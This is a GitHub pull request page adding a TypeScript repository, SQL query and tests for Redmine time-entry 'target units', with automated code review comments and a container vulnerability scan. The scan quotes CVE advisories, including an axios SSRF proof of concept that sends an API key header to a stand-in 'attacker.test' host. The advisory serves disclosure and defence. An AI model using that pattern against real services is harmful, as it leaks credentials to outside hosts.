Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Added ProjectUnit interface to define the structure of Project Unit data.
  • Created IRedmineRepository interface for fetching project units.
  • Implemented RedmineRepository class to handle database queries and map results to ProjectUnit.
  • Introduced SQL query for retrieving project units based on time entries.
  • Developed RedmineService class to provide a service layer for accessing project units.

- Added `RedminePool.ts` to manage MySQL connection pooling, including methods for pool creation and termination.
- Created `RedminePool.test.ts` to validate the functionality of the `RedminePool` class, ensuring proper pool management and error handling.

These additions enhance database connection management and improve test coverage for the Redmine integration.
- Updated the `RedminePool.test.ts` file to enhance type safety by defining a `PoolMock` interface.
- Refactored the test setup to improve readability and maintainability, including clearer type assertions for pool properties.
- Adjusted the formatting of the credentials object for better clarity.

These changes improve the robustness of the tests for the `RedminePool` class, ensuring better type checking and organization.
- Updated the `RedminePool` class to include error handling during pool creation and termination, ensuring that meaningful error messages are thrown when failures occur.
- Added new test cases in `RedminePool.test.ts` to validate the graceful handling of pool creation and termination errors.

These changes improve the robustness of the `RedminePool` class by ensuring it can handle errors effectively, enhancing overall reliability.
- Added `ProjectUnit` interface to define the structure of Project Unit data.
- Created `IRedmineRepository` interface for fetching project units.
- Implemented `RedmineRepository` class to handle database queries and map results to `ProjectUnit`.
- Introduced SQL query for retrieving project units based on time entries.
- Developed `RedmineService` class to provide a service layer for accessing project units.

Implements Redmine project unit management

Adds functionality to retrieve and manage project units from Redmine.

Introduces a repository pattern for data access, a service layer for business logic, and a data transfer object for representing project unit information. This provides a structured way to interact with the Redmine database and retrieve project-related data.
@anatolyshipitz anatolyshipitz self-assigned this Jun 4, 2025
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner June 4, 2025 13:55
@coderabbitai
Copy link

coderabbitai bot commented Jun 4, 2025

📝 Walkthrough

Walkthrough

This change introduces a new data access layer for aggregating time entry data by group, project, user, and date from a MySQL database. It defines new TypeScript interfaces, a repository class, a custom error class, SQL queries, and comprehensive unit tests for both the repository and error handling logic.

Changes

File(s) Change Summary
workers/main/src/common/types.ts Added TargetUnit interface for structured project and time tracking data.
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts Added ITargetUnitRepository interface with getTargetUnits method returning a promise of TargetUnit[].
workers/main/src/services/TargetUnit/TargetUnitRepository.ts Added TargetUnitRepository class implementing data retrieval and mapping logic from MySQL, with error handling.
workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts Added tests for TargetUnitRepository, covering successful data retrieval, error cases, and result validation.
workers/main/src/services/TargetUnit/queries.ts Added TARGET_UNITS_QUERY constant: SQL for aggregating weekly time entry data by group, project, user, and date.
workers/main/src/services/TargetUnit/types.ts Added TargetUnitRow interface extending RowDataPacket for typed database row mapping.
workers/main/src/common/errors/TargetUnitRepositoryError.ts Added TargetUnitRepositoryError class for repository-specific error handling, supporting error cause chaining.
workers/main/src/common/errors/TargetUnitRepositoryError.test.ts Added tests for TargetUnitRepositoryError ensuring correct message, name, and cause assignment.
workers/main/src/common/errors/index.ts Exported TargetUnitRepositoryError from the error module index.
workers/main/src/common/errors/FileUtilsError.ts Enhanced constructor to conditionally call Error.captureStackTrace for improved stack trace accuracy.

Sequence Diagram(s)

sequenceDiagram
    participant Client
    participant TargetUnitRepository
    participant MySQLPool
    participant Database

    Client->>TargetUnitRepository: getTargetUnits()
    TargetUnitRepository->>MySQLPool: execute(TARGET_UNITS_QUERY)
    MySQLPool->>Database: Run SQL query
    Database-->>MySQLPool: Return rows
    MySQLPool-->>TargetUnitRepository: Return rows
    TargetUnitRepository->>TargetUnitRepository: mapRowToTargetUnit(row)
    TargetUnitRepository-->>Client: Return TargetUnit[]
    Note over TargetUnitRepository,Client: If error, throw TargetUnitRepositoryError
Loading

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f723157 and 88c6809.

📒 Files selected for processing (1)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts
⏰ Context from checks skipped due to timeout of 90000ms (5)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@anatolyshipitz anatolyshipitz changed the base branch from main to feat/redmine-pool June 4, 2025 13:56
@github-actions
Copy link

github-actions bot commented Jun 4, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:5c33e5be671a901f8e6b14a6d896a7a13b8f5e356c86acf88a81bcee6255de36
vulnerabilitiescritical: 2 high: 6 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.151%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score12.421%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.063%
EPSS Percentile20th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

- Modified the SQL query in `queries.ts` to adjust the date range for fetching time entries.
- The new query now correctly calculates the start and end dates for the past week, ensuring accurate data retrieval.

This change enhances the accuracy of time entry data fetched from the Redmine API, improving reporting and analysis capabilities.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Inline review comments failed to post. This is likely due to GitHub's limits when posting large numbers of comments. If you are seeing this consistently it is likely a permissions issue. Please check "Moderation" -> "Code review limits" under your organization settings.

Actionable comments posted: 3

🧹 Nitpick comments (4)
workers/main/src/common/types.ts (1)

1-12: Inconsistent naming conventions
The ProjectUnit interface mixes snake_case (e.g., group_id) with camelCase (projectRate). Consider standardizing field names (all camelCase or map DB names to domain models) to improve clarity and consistency.

workers/main/src/services/redmine/types.ts (1)

18-24: Unused result types
ProjectUnitsResult and EmployeeRatesResult are defined but not referenced in this PR. Consider removing or documenting their purpose to avoid dead code.

workers/main/src/common/RedminePool.ts (1)

25-31: Address potential null reference after pool recreation.

While the logic looks correct, using the non-null assertion operator (!) on this.pool assumes that createPool() will always successfully set the pool. If createPool() were to fail silently or not set the pool, this could cause a runtime error.

Consider adding a runtime check for additional safety:

  public getPool(): Pool {
    if (!this.pool || this.poolEnded) {
      this.createPool();
    }

-    return this.pool!;
+    if (!this.pool) {
+      throw new Error('Failed to create or retrieve MySQL pool');
+    }
+    return this.pool;
  }
workers/main/src/services/redmine/RedmineRepository.ts (1)

28-51: Remove unnecessary explicit type coercion in mapper.

The explicit type coercion using Number(), String() etc. is unnecessary since TypeScript already guarantees the types through the ProjectUnitRow interface. The database driver should return correctly typed values.

Simplify the mapper by removing explicit coercion:

  private static mapRowToProjectUnit(
    this: void,
-    {
-      group_id,
-      group_name,
-      project_id,
-      project_name,
-      user_id,
-      username,
-      spent_on,
-      total_hours,
-    }: ProjectUnitRow,
+    row: ProjectUnitRow,
  ): ProjectUnit {
-    return {
-      group_id: Number(group_id),
-      group_name: String(group_name),
-      project_id: Number(project_id),
-      project_name: String(project_name),
-      user_id: Number(user_id),
-      username: String(username),
-      spent_on: String(spent_on),
-      total_hours: Number(total_hours),
-    };
+    return row;
  }
🛑 Comments failed to post (3)
workers/main/src/common/RedminePool.ts (2)

33-45: 🛠️ Refactor suggestion

Reconsider setting poolEnded flag on pool termination failure.

The current implementation sets poolEnded = true even when pool.end() fails. This could mask the fact that the pool wasn't properly closed and resources might still be held.

Consider only setting the flag on successful termination:

  async endPool() {
    if (this.pool && !this.poolEnded) {
      try {
        await this.pool.end();
        this.poolEnded = true;
      } catch (error) {
-        this.poolEnded = true;
        const errMsg = error instanceof Error ? error.message : String(error);
-
-        throw new Error(`Failed to end MySQL connection pool: ${errMsg}`);
+        throw new Error(
+          `Failed to end MySQL connection pool: ${errMsg}`,
+          { cause: error }
+        );
      }
    }
  }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

  async endPool() {
    if (this.pool && !this.poolEnded) {
      try {
        await this.pool.end();
        this.poolEnded = true;
      } catch (error) {
        const errMsg = error instanceof Error ? error.message : String(error);
        throw new Error(
          `Failed to end MySQL connection pool: ${errMsg}`,
          { cause: error }
        );
      }
    }
  }
🤖 Prompt for AI Agents
In workers/main/src/common/RedminePool.ts around lines 33 to 45, the poolEnded
flag is set to true even if ending the pool fails, which can incorrectly
indicate the pool was closed. Modify the code to set poolEnded to true only
after a successful pool.end() call, and do not set it in the catch block to
accurately reflect the pool's state.

9-18: 🛠️ Refactor suggestion

Improve constructor error handling robustness.

The constructor's try-catch block may not effectively handle all potential errors from createPool(). If mysql.createPool() throws synchronously, the error will be caught and re-thrown properly. However, the error handling could be more robust.

Consider this approach to ensure all pool creation errors are properly handled:

  constructor(credentials: PoolOptions) {
    this.credentials = credentials;
    try {
      this.createPool();
    } catch (error) {
-      const errMsg = error instanceof Error ? error.message : String(error);
-
-      throw new Error(`RedminePool initialization failed: ${errMsg}`);
+      throw new Error(
+        `RedminePool initialization failed: ${error instanceof Error ? error.message : String(error)}`,
+        { cause: error }
+      );
    }
  }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

  constructor(credentials: PoolOptions) {
    this.credentials = credentials;
    try {
      this.createPool();
    } catch (error) {
      throw new Error(
        `RedminePool initialization failed: ${error instanceof Error ? error.message : String(error)}`,
        { cause: error }
      );
    }
  }
🤖 Prompt for AI Agents
In workers/main/src/common/RedminePool.ts around lines 9 to 18, improve the
constructor's error handling by ensuring that any errors thrown during
asynchronous or synchronous pool creation in createPool() are properly caught.
Modify createPool() to handle errors internally or return a promise that the
constructor can await with try-catch, so all errors during pool creation are
captured and re-thrown with a clear message in the constructor.
workers/main/src/services/redmine/RedmineRepository.ts (1)

53-70: 🛠️ Refactor suggestion

Improve error handling and logging approach.

Several improvements could be made to the error handling:

  1. Console logging may not be appropriate in all environments
  2. Consider using a proper logging framework
  3. The type assertion (error as Error) assumes the error is always an Error instance
  async getProjectUnits(): Promise<ProjectUnit[]> {
    try {
      const [rows] =
        await this.pool.query<ProjectUnitRow[]>(PROJECT_UNITS_QUERY);

      if (!Array.isArray(rows)) {
        throw new RedmineRepositoryError('Query did not return an array');
      }

      return rows.map(RedmineRepository.mapRowToProjectUnit);
    } catch (error) {
-      console.error('RedmineRepository.getProjectUnits error:', error);
+      // TODO: Replace with proper logger injection
+      console.error('RedmineRepository.getProjectUnits error:', error);
      throw new RedmineRepositoryError(
-        `RedmineRepository.getProjectUnits failed: ${(error as Error).message}`,
+        `RedmineRepository.getProjectUnits failed: ${error instanceof Error ? error.message : String(error)}`,
        error,
      );
    }
  }
🤖 Prompt for AI Agents
In workers/main/src/services/redmine/RedmineRepository.ts around lines 53 to 70,
replace the console.error call with a proper logging framework method to ensure
consistent and configurable logging. Modify the catch block to safely handle the
error object without assuming it is always an instance of Error by checking its
type before accessing the message property. This will improve error handling
robustness and logging appropriateness across different environments.

- Introduced `RedmineRepository.test.ts` to validate the functionality of the `RedmineRepository` class, including tests for mapping rows to `ProjectUnit` and error handling.
- Created `RedmineService.test.ts` to ensure the `RedmineService` correctly retrieves project units from the repository.

These additions enhance test coverage for the Redmine integration, ensuring the reliability of data retrieval and error management in the repository and service layers.
Base automatically changed from feat/redmine-pool to main June 4, 2025 15:31
@anatolyshipitz anatolyshipitz enabled auto-merge (squash) June 4, 2025 15:31
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (4)
workers/main/src/services/redmine/queries.ts (1)

1-31: Consider query performance optimization.

This query joins multiple large tables and performs complex date calculations in the WHERE clause, which may impact performance on large datasets.

Consider these optimizations:

  1. Add database indexes on te.spent_on, g.type, and foreign key columns if not already present
  2. Move date calculations outside the query by computing the date range in application code
  3. Consider if the nested query structure can be flattened for better performance
+-- Example of moving date calculation to application code:
+-- const startDate = getMonandayOfPreviousWeek();
+-- const endDate = getSundayOfCurrentWeek();
+-- Then use parameterized query: te.spent_on >= ? AND te.spent_on <= ?
workers/main/src/services/redmine/RedmineService.test.ts (1)

37-46: Enhance test coverage with additional scenarios.

The current test only covers the happy path. Consider adding tests for edge cases to improve coverage.

+  it('should return empty array when repository returns empty array', async () => {
+    mockRepo.getProjectUnits.mockResolvedValueOnce([]);
+    
+    const result = await service.getProjectUnits();
+    
+    expect(result).toEqual([]);
+    expect(mockRepo.getProjectUnits).toHaveBeenCalledTimes(1);
+  });
+
+  it('should propagate repository errors', async () => {
+    const error = new Error('Repository error');
+    mockRepo.getProjectUnits.mockRejectedValueOnce(error);
+    
+    await expect(service.getProjectUnits()).rejects.toThrow('Repository error');
+    expect(mockRepo.getProjectUnits).toHaveBeenCalledTimes(1);
+  });
workers/main/src/services/redmine/RedmineRepository.test.ts (2)

38-39: Remove unnecessary constructor property from mock data.

The constructor: { name: 'RowDataPacket' } property is not needed in the test mock and adds unnecessary complexity.

-        constructor: { name: 'RowDataPacket' },
-      } as ProjectUnitRow,
+      },

45-45: Use precise type assertion for complete objects.

The Partial<ProjectUnit>[] type assertion is unnecessary since the expected result contains complete ProjectUnit objects.

-    expect(result).toEqual<Partial<ProjectUnit>[]>([
+    expect(result).toEqual<ProjectUnit[]>([
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 8f92d90 and 683be91.

📒 Files selected for processing (3)
  • workers/main/src/services/redmine/RedmineRepository.test.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineService.test.ts (1 hunks)
  • workers/main/src/services/redmine/queries.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (2)
workers/main/src/services/redmine/RedmineRepository.test.ts (3)
workers/main/src/services/redmine/types.ts (2)
  • IPoolProvider (14-16)
  • ProjectUnitRow (3-12)
workers/main/src/services/redmine/RedmineRepository.ts (2)
  • RedmineRepository (21-71)
  • RedmineRepositoryError (8-19)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/redmine/RedmineService.test.ts (2)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/redmine/RedmineService.ts (1)
  • RedmineService (4-10)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (3)
workers/main/src/services/redmine/RedmineService.test.ts (1)

6-18: LGTM! Clean helper function design.

The createProjectUnit helper function with partial overrides is a good pattern for test data creation, making tests more readable and maintainable.

workers/main/src/services/redmine/RedmineRepository.test.ts (2)

13-25: LGTM! Proper test setup and teardown.

The beforeEach/afterEach setup correctly mocks the MySQL pool and ensures clean state between tests.


59-69: LGTM! Comprehensive error handling tests.

The error handling tests properly cover both invalid result format and query failure scenarios, ensuring robust error propagation.

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In general RedmineRepository looks good. RedmineService needs more justification, please move it to next PR

This change replaces the RedmineService and its related components with TargetUnitService to align with updated domain terminology. All references, files, and test cases have been renamed or updated to maintain consistency.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (4)
workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (2)

30-30: Fix test description naming inconsistency.

The test description mentions "TargetUnit" but should refer to "ProjectUnit" to match the actual return type.

-  it('maps rows to TargetUnit and returns them', async () => {
+  it('maps rows to ProjectUnit and returns them', async () => {

48-48: Remove unnecessary Partial type annotation.

The test data includes all required fields of ProjectUnit, so Partial<ProjectUnit>[] should be ProjectUnit[].

-    expect(result).toEqual<Partial<ProjectUnit>[]>([
+    expect(result).toEqual<ProjectUnit[]>([
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (2)

28-51: Remove unnecessary type coercion in mapping method.

The explicit type coercion using Number() and String() is unnecessary since TargetUnitRow already defines the correct types for these fields. This adds runtime overhead without benefit.

  private static mapRowToProjectUnit(
    this: void,
    {
      group_id,
      group_name,
      project_id,
      project_name,
      user_id,
      username,
      spent_on,
      total_hours,
    }: TargetUnitRow,
  ): ProjectUnit {
    return {
-     group_id: Number(group_id),
-     group_name: String(group_name),
-     project_id: Number(project_id),
-     project_name: String(project_name),
-     user_id: Number(user_id),
-     username: String(username),
-     spent_on: String(spent_on),
-     total_hours: Number(total_hours),
+     group_id,
+     group_name,
+     project_id,
+     project_name,
+     user_id,
+     username,
+     spent_on,
+     total_hours,
    };
  }

53-70: Improve error handling safety and logging.

The method implementation is solid, but the error type assertion could be safer and the logging could be more informative.

  async getProjectUnits(): Promise<ProjectUnit[]> {
    try {
      const [rows] =
        await this.pool.query<TargetUnitRow[]>(PROJECT_UNITS_QUERY);

      if (!Array.isArray(rows)) {
        throw new TargetUnitRepositoryError('Query did not return an array');
      }

      return rows.map(TargetUnitRepository.mapRowToProjectUnit);
    } catch (error) {
-     console.error('TargetUnitRepository.getProjectUnits error:', error);
+     console.error('TargetUnitRepository.getProjectUnits error:', {
+       message: error instanceof Error ? error.message : 'Unknown error',
+       error
+     });
      throw new TargetUnitRepositoryError(
-       `TargetUnitRepository.getProjectUnits failed: ${(error as Error).message}`,
+       `TargetUnitRepository.getProjectUnits failed: ${error instanceof Error ? error.message : 'Unknown error'}`,
        error,
      );
    }
  }
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 683be91 and 7875d77.

📒 Files selected for processing (7)
  • workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitService.test.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitService.ts (1 hunks)
  • workers/main/src/services/TargetUnit/queries.ts (1 hunks)
  • workers/main/src/services/TargetUnit/types.ts (1 hunks)
✅ Files skipped from review due to trivial changes (2)
  • workers/main/src/services/TargetUnit/queries.ts
  • workers/main/src/services/TargetUnit/types.ts
🧰 Additional context used
🧬 Code Graph Analysis (5)
workers/main/src/services/TargetUnit/TargetUnitService.ts (2)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
  • ITargetUnitRepository (3-5)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/TargetUnit/TargetUnitService.test.ts (2)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/TargetUnit/TargetUnitService.ts (1)
  • TargetUnitService (4-10)
workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (3)
workers/main/src/services/TargetUnit/types.ts (2)
  • IPoolProvider (14-16)
  • TargetUnitRow (3-12)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (2)
  • TargetUnitRepository (21-71)
  • TargetUnitRepositoryError (8-19)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (4)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
  • ITargetUnitRepository (3-5)
workers/main/src/services/TargetUnit/types.ts (2)
  • IPoolProvider (14-16)
  • TargetUnitRow (3-12)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-12)
workers/main/src/services/TargetUnit/queries.ts (1)
  • PROJECT_UNITS_QUERY (1-31)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (8)
